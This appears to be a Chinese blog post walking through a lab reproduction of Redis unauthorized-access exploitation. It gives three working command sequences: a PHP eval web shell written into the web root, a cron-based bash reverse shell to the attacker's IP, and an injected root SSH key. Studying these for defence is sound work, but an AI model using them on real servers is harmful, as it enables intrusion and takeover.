首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >漏洞复现 - - - 未授权访问漏洞Redis

漏洞复现 - - - 未授权访问漏洞Redis

作者头像
干掉芹菜
发布2022-11-19 14:27:24
1.1K0
发布2022-11-19 14:27:24
举报
文章被收录于专栏:网络安全615网络安全615

目录

一,未授权访问漏洞概述

二,常见的未授权访问漏洞

Redis历史漏洞

 三,Redis未授权访问

漏洞信息

Redis 简介

四,环境搭建

漏洞环境搭建

五,漏洞利用方法

实验环境

方法一

 ​编辑

 方法二

 方法三

一,未授权访问漏洞概述

未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。

二,常见的未授权访问漏洞

1.MongoDB 未授权访问漏洞 2.Redis 未授权访问漏洞 3.Memcached 未授权访问漏洞CVE-2013-7239 4.JBOSS 未授权访问漏洞 5.VNC 未授权访问漏洞 6.Docker 未授权访问漏洞 7.ZooKeeper 未授权访问漏洞 8.Rsync 未授权访问漏洞 9.Elasticsearch 未授权访问漏洞 10.Hadoop 未授权访问漏洞 11.Jupyter Notebook 未授权访问漏洞

Redis历史漏洞

因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据。

 三,Redis未授权访问

漏洞信息

Redis 简介

Redis 是完全开源免费的,遵守 BSD 协议,是一个灵活的高性能 key-value 数据结构存储,可以用来作为数据库、缓存和消息队列。Redis 支持数据的持久化,可以将内存中的数据保存在磁盘中,重启的时候可以再次加载到内存使用。Redis 不仅支持简单的 key-value 类型的数据,同时还提供 list,set,zset,hash 等数据结构的存储。Redis 支持主从复制,即 master-slave 模式的数据备份。

四,环境搭建

漏洞环境搭建

docker pull medicean/vulapps:r_redis_1 docker run -dit -p 6379:6379 -p 2222:22 medicean/vulapps:r_redis_1

五,漏洞利用方法

实验环境

目标机器:CentOS7+Apache+Redis、IP地址:10.1.1.200 攻击机器:Kali、IP地址:10.1.1.100

本次实验环境来源自合天网安实验室

方法一

通过redis数据备份功能,往WEB网站根目录写入一句话木马,利用shell 得到WEB网站权限

 思路:得到了IP地址应该首先进行信息扫描

发现80端口是开放的

22端口:ssh远程登录 80端口:http网站服务 6379端口:redis服务

访问80端口发现仅是一个测试页面

python3 dirsearch.py -u 10.1.1.200 -e php   //使用dirsearch工具对网页进行暴力扫描

发现1.php   phpinfo.php存在信息泄露 

访问一下phpinfo

目标机器存在6379即Redis服务,尝试一下看是否存在Redis未授权漏洞:

安装 redis-cli

apt install redis-tools  //安装包管理器

wget http://download.redis.io/releases/redis-6.0.3.tar.gz       //下载redis

tar -zxvf redis-6.0.3.tar.gz       //解压

make     //编译 

redis-cli -h 10.1.1.200 -p 6379         //连接redis服务器 -h:指定连接的redis服务器 -p 指定6379端口  info打印信息 如版本目录信息

key *  //列出当前数据库的所有键  config set dir /var/www/html        //设置备份文件的放置路径 config set dbfilename shell.php    //设置备份文件的文件名 set x "<?php @eval($_POST['test']);?>      //x表示添加一个键,这个键的值为一句话木马 save     //保存

 使用中国蚁剑连接

 连接成功,双击即可管理

 方法二

通过定时任务反弹Shell

 1.开启对4433端口的监听

nc -lvvp 4433

 2.redis-cli连接

key * del x     //增加一个键X set xx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1\n\n"   //设置内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,每分钟执行一次/bin/......... config set dir /var/spool/cron    //设置备份路径 config set dbfilename root    //设置备份文件名 save         //保存

 3.查看监听返回数据

输入whoami查看用户,定时反弹shell成功

 方法三


写SSH公钥,实现免密登录linux服务器 攻击者在未授权访问Redis的情况下可以利用Redis,运行 Redis的用户是 root 用户,攻击者将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,所以可以无需密码直接登录目标服务器。

 1.写入ssh公钥

ssh-keygen -t rsa    

 2.将公钥写入txt文件,用\n换行,避免和Redis混合不好分辨

(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt cat /tmp/foo.txt       /查看txt文件

 4.用redis-cli -h ip命令连接靶机

cat /tmp/foo.txt | redis-cli -h 10.1.1.200 -p 6379 -x set sshkey     //连接靶机传入文件 redis-ccli -h 10.1.1.200 -p 6379     //连接redis config set dir /root/.ssh/              //设置备份文件路径 config set dbfilename "authorized_keys"         //命名 save                //保存

 5.利用ssh远程连接目标机器 ,连接成功

ssh root@10.1.1.200 -i/root/.ssh/id_rsa   //

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-08-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一,未授权访问漏洞概述
  • 二,常见的未授权访问漏洞
    • Redis历史漏洞
    •  三,Redis未授权访问
      • 漏洞信息
        • Redis 简介
    • 四,环境搭建
      • 漏洞环境搭建
      • 五,漏洞利用方法
        • 实验环境
          • 方法一
            •  方法二
              •  方法三
              相关产品与服务
              云数据库 Redis
              腾讯云数据库 Redis(TencentDB for Redis)是腾讯云打造的兼容 Redis 协议的缓存和存储服务。丰富的数据结构能帮助您完成不同类型的业务场景开发。支持主从热备,提供自动容灾切换、数据备份、故障迁移、实例监控、在线扩容、数据回档等全套的数据库服务。
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档